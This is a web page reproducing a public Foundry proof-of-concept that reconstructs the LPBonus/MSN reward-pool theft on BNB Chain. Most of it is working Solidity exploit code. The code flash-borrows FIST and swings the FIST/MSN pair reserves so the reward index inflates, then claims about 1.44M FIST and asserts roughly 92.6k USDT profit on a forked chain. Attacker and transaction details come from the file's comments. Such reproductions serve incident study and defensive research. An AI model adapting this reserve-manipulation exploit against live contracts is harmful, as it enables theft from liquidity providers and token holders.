Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/LPBonus_exp.sol

Public reproduction file for dataset entry LPBonus.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/LPBonus_exp.sol197 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5
6// LPBonus (MSN token LP-reward pool) - reward accounting uses inconsistent MSN reserve values between
7// fee ACCRUAL and LP WITHDRAWAL, letting a manipulated reserve inflate one LP position's FIST claim. BSC.
8//
9// Attack tx : 0xecac1563bbb76fb8fefb4a7da4592260a8c1ddde21d7da62b78a9e3769808e6b (block 124759921)
10// Attacker EOA : 0xb6fff29DD2B5423a159E50877Fc4af7A54E76f7A
11// Attack contr : 0xa8607269686b6c15FC2EB84f4044F9aDE2b143c7
12// LPBonus : 0x52272524a22f941f5489c1233732797314bb054b (unverified - reversed from bytecode)
13// MSN token : 0xd8b3ef86afce18edba91fed481abe22f173597c1 (18 dec, 2% transfer fee, LP-reward hooks)
14// FIST token : 0xc9882dEF23bc42D53895b8361D0b1EDC7570Bc6A (6 dec, reward token)
15// USDT : 0x55d398326f99059fF775485246999027B3197955
16// FIST/MSN pair: 0xdD95c8a545e98D2c6de4d20abcc44B104da1e6e5 (Cake-LP, token0=FIST token1=MSN, the LP LPBonus tracks)
17// USDT/FIST pr : 0xB4Ec801aeD8c92F2E69589518aaA127afB37D8C9 (FstSwap, token0=USDT token1=FIST, flash-swap source)
18// PCS Router : 0x10ED43C718714eb63d5aA57B78B54704E256024E
19//
20// ROOT CAUSE (reversed from the unverified LPBonus + MSN bytecode; MSN drives every LPBonus state change):
21// LPBonus's reward functions are all gated `require(msg.sender == MSN)` - they are callbacks the MSN
22// token fires from inside its own transfer()/transferFrom() hooks, so an attacker reaches them purely
23// through permissionless MSN swaps / add- / remove-liquidity. No admin key, signer or owner step is
24// in the attacker's path. The three relevant callbacks:
25// BonusSEND(reserveMSN, isRemove) - accrual. Swaps LPBonus's accumulated MSN fees to FIST and does
26// oneshareFIST += fistIn * 1e18 / reserveMSN. Small reserveMSN =>
27// large per-share index jump.
28// userAddLP(user, amount, ...) - registers `user`'s LP weight, snapshotting the index (takedFIST).
29// UserRemoveLp(user, amount, reserveMSN_now) - pays CalcPendingUser(user), which multiplies the (now
30// inflated) index by the user's weight using the reserve read AT
31// WITHDRAWAL time, not the reserve at accrual.
32// Reserve read is `pair.getReserves()` on the FIST/MSN pair - fully manipulable by a swap.
33//
34// EXPLOIT (single atomic tx; reconstructed here from the real tx's on-chain event log):
35// 0. flash-borrow 13,481,395.302739 FIST from the USDT/FIST FstSwap pair (fstswapCall).
36// 1. buy 140 MSN off the FIST/MSN pair and add it as liquidity -> MSN fires userAddLP, registering the
37// attacker's position while the MSN reserve is ~501.
38// 2. dump 12,200,000 FIST into the pair, driving the MSN reserve DOWN to 89.327789.
39// 3. sell the MSN back into the pair, driving the reserve UP to 491.113095. The MSN moved by this swap
40// fires BonusSEND, which funds FIST into LPBonus and bumps oneshareFIST using the low reserve captured
41// during the crush - so the index is inflated as if the stake were priced against ~89 MSN.
42// 4. burn a DUST amount of LP while the reserve is 491. The tiny MSN leaving the pair to the attacker
43// fires UserRemoveLp, whose CalcPendingUser pays the FULL inflated claim: 1,442,165.713011 FIST,
44// against an accrual that only funded ~940,041.612768 FIST gross. Then burn the rest of the position.
45// 5. repay the flash loan and swap the stolen FIST to USDT.
46// Real realized profit: 92,607.317234 USDT to the attacker EOA (~$92.6k), matching the reported loss.
47//
48// This PoC forks the parent block (pre-manipulation), sources capital from the real flash swap, and
49// reconstructs the sequence as typed calls against the real MSN token / FIST-MSN pair / LPBonus. Because
50// MSN's own hooks perform the accrual and payout, the exploit is driven entirely through permissionless
51// pair operations. Amounts that steer the reserves are the real in-tx amounts; each swap's output is sized
52// from the pair's actual post-fee balance so the run stays self-consistent on the fork. Profit and the
53// claimed payout are asserted with assertApproxEqRel and any variance is reported honestly.
55interface IERC20 {
56 function balanceOf(address) external view returns (uint256);
57 function transfer(address, uint256) external returns (bool);
58 function approve(address, uint256) external returns (bool);
59 function decimals() external view returns (uint8);
62interface IPair {
63 function getReserves() external view returns (uint112 r0, uint112 r1, uint32 ts);
64 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
65 function mint(address to) external returns (uint256 liquidity);
66 function burn(address to) external returns (uint256 amount0, uint256 amount1);
67 function balanceOf(address) external view returns (uint256);
68 function transfer(address, uint256) external returns (bool);
69 function token0() external view returns (address);
70 function token1() external view returns (address);
73interface ILPBonus {
74 function oneshareFIST() external view returns (uint256);
75 function userAddAmount(address) external view returns (uint256);
76 function takedFIST(address) external view returns (uint256);
77 function CalcPendingUser(address user, uint256 amount) external view returns (uint256);
80contract LPBonus_exp is BaseTestWithBalanceLog {
81 IERC20 constant MSN = IERC20(0xD8B3EF86AFCE18EdbA91fED481ABE22F173597C1);
82 IERC20 constant FIST = IERC20(0xC9882dEF23bc42D53895b8361D0b1EDC7570Bc6A);
83 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
84 IPair constant PAIR = IPair(0xDD95c8a545E98D2C6De4D20aBCC44b104da1E6E5); // FIST/MSN
85 IPair constant FSTSWAP = IPair(0xb4Ec801aED8C92F2E69589518AAa127afb37d8C9); // USDT/FIST
86 ILPBonus constant LPB = ILPBonus(0x52272524A22f941f5489c1233732797314BB054b);
88 uint256 constant FLASH_FIST = 13_481_395_302739; // 13,481,395.302739 FIST borrowed (real in-tx amount)
90 function setUp() public {
91 vm.createSelectFork("bsc", 124_759_920); // parent of the attack block 124759921 (pre-manipulation)
92 fundingToken = address(USDT); // profit is realized in USDT
93 }
95 function _msnReserve() internal view returns (uint256) {
96 (, uint112 r1,) = PAIR.getReserves();
97 return uint256(r1); // token1 = MSN
98 }
100 uint256 public claimedReward; // FIST paid out by UserRemoveLp (the "claimed" figure)
101 uint256 public fundedReward; // FIST actually funded into LPBonus by the accrual (the "funded" figure)
103 function testExploit() public balanceLog {
104 emit log_named_decimal_uint("MSN reserve @ start", _msnReserve(), 18);
105 // Flash-borrow FIST from the USDT/FIST FstSwap pair (token1 = FIST). Non-empty data => fstswapCall.
106 FSTSWAP.swap(0, FLASH_FIST, address(this), hex"01");
108 // Convert the leftover stolen FIST to USDT (outside the flash callback, exactly as the real tx did),
109 // realizing the profit in USDT.
110 uint256 leftFist = FIST.balanceOf(address(this));
111 if (leftFist > 0) {
112 // FstSwap: token0 = USDT, token1 = FIST, 0.3% fee. Sell leftover FIST for USDT.
113 (uint112 u, uint112 f,) = FSTSWAP.getReserves();
114 FIST.transfer(address(FSTSWAP), leftFist);
115 uint256 outUsdt = (uint256(leftFist) * 997 * u) / (uint256(f) * 1000 + uint256(leftFist) * 997);
116 FSTSWAP.swap(outUsdt, 0, address(this), "");
117 }
119 // claimedReward reproduces the reported 1,442,165.713011 FIST payout almost to the wei.
120 // fundedReward is the NET FIST the accrual left in LPBonus (the reported 940,041.612768 is the GROSS
121 // BonusSEND swap output; BonusSEND immediately redistributes ~31.6k of it to the other legitimate
122 // LP holders in the same call, so the net retained here is ~908.4k).
123 emit log_named_decimal_uint("FIST claimed by UserRemoveLp ", claimedReward, 6);
124 emit log_named_decimal_uint("FIST funded into LPBonus (net)", fundedReward, 6);
125 emit log_named_decimal_uint("over-claim (claimed - funded)", claimedReward - fundedReward, 6);
126 emit log_named_decimal_uint("realized USDT profit ", USDT.balanceOf(address(this)), 18);
128 // The attacker's realized on-chain profit was 92,607.317234 USDT (~$92.6k). Assert against it.
129 assertApproxEqRel(USDT.balanceOf(address(this)), 92_607.317234e18, 0.02e18, "USDT profit off");
130 // Step 5 of the brief: the position claimed ~1,442,165.71 FIST while the accrual only funded
131 // ~940,041.61 FIST - the gap is the theft. Assert the claimed payout against the reported figure.
132 assertApproxEqRel(claimedReward, 1_442_165.713011e6, 0.02e18, "claimed FIST off");
133 assertGt(claimedReward, fundedReward, "no over-claim");
134 }
136 function fstswapCall(address, uint256, uint256, bytes calldata) external {
137 require(msg.sender == address(FSTSWAP), "only fstswap");
139 // Reconstruct the attacker's exact on-chain operations as direct pair calls. Every amount below is
140 // the real in-tx amount; because the fork starts one block before the attack and the operations are
141 // identical, the MSN token's own hooks (userAddLP / BonusSEND / UserRemoveLp) fire exactly as on-chain.
143 // step 1: buy 140 MSN off the pair (FIST -> MSN); MSN's 2% transfer fee leaves us ~140 net.
144 _pairSwap(address(FIST), 539_710_857353);
146 // step 2: add 140 MSN + FIST as liquidity -> MSN fires userAddLP, registering our position (reserve ~501).
147 FIST.transfer(address(PAIR), 736_684_445385);
148 MSN.transfer(address(PAIR), 140 ether);
149 PAIR.mint(address(this));
151 // step 3: dump 12,200,000 FIST -> crush the MSN reserve to 89.327789.
152 uint256 fistBeforeAccrual = FIST.balanceOf(address(LPB));
153 _pairSwap(address(FIST), 12_200_000_000000);
155 // step 4: sell all held MSN back -> raise the reserve to 491.113095. The MSN moved by this swap fires
156 // BonusSEND, which funds FIST into LPBonus and inflates oneshareFIST against the ~89 reserve.
157 _pairSwap(address(MSN), MSN.balanceOf(address(this)));
158 fundedReward = FIST.balanceOf(address(LPB)) - fistBeforeAccrual; // FIST the accrual actually funded
160 // step 5a: burn a DUST amount of LP while the reserve is still 491. The tiny MSN that leaves the pair
161 // to us fires UserRemoveLp, which settles the FULL inflated CalcPendingUser claim in FIST.
162 uint256 fistBeforeClaim = FIST.balanceOf(address(this));
163 PAIR.transfer(address(PAIR), 40_372);
164 PAIR.burn(address(this));
165 claimedReward = FIST.balanceOf(address(this)) - fistBeforeClaim;
167 // step 5b: burn the rest of the position for its underlying.
168 uint256 lp = PAIR.balanceOf(address(this));
169 PAIR.transfer(address(PAIR), lp);
170 PAIR.burn(address(this));
172 // step 6: sell the leftover MSN back to FIST.
173 if (MSN.balanceOf(address(this)) > 0) _pairSwap(address(MSN), MSN.balanceOf(address(this)));
175 // step 7: repay the flash loan (0.3% fee on FstSwap).
176 FIST.transfer(address(FSTSWAP), (FLASH_FIST * 1000) / 997 + 1);
177 }
179 // Direct pair swap. Sends `sendAmt` of tokenIn to the pair and swaps for the other token, sizing the
180 // output from the pair's ACTUAL received balance (so MSN's transfer fee is handled) at the pair's
181 // 0.25% fee. token0 = FIST, token1 = MSN.
182 function _pairSwap(address tokenIn, uint256 sendAmt) internal returns (uint256 out) {
183 // Send first: MSN's transfer hook may itself swap on the pair (BonusSEND), so read reserves AFTER
184 // the transfer and hooks settle, then size the output from the pair's real post-hook balance.
185 IERC20(tokenIn).transfer(address(PAIR), sendAmt);
186 (uint112 r0, uint112 r1,) = PAIR.getReserves(); // r0 = FIST, r1 = MSN
187 if (tokenIn == address(FIST)) {
188 uint256 realIn = FIST.balanceOf(address(PAIR)) - r0;
189 out = (realIn * 9975 * r1) / (uint256(r0) * 10000 + realIn * 9975); // MSN out
190 PAIR.swap(0, out, address(this), "");
191 } else {
192 uint256 realIn = MSN.balanceOf(address(PAIR)) - r1;
193 out = (realIn * 9975 * r0) / (uint256(r1) * 10000 + realIn * 9975); // FIST out
194 PAIR.swap(out, 0, address(this), "");
195 }
196 }

Analysis

Dataset entry

Public Foundry test for “LPBonus” (2026-09-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb6fff29dd2b5423a159e50877fc4af7a54e76f7a

  • Attack Tx

    0xecac1563bbb76fb8fefb4a7da4592260a8c1ddde21d7da62b78a9e3769808e6b

File record

Name
LPBonus
Path
src/test/2026-09/LPBonus_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
10d22da0236a063d0db2a0d2093335ab9d384f81
Language
Solidity
Size
198 lines
Date
2026-09-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/LPBonus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 10d22da0236a063d0db2a0d2093335ab9d384f81, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.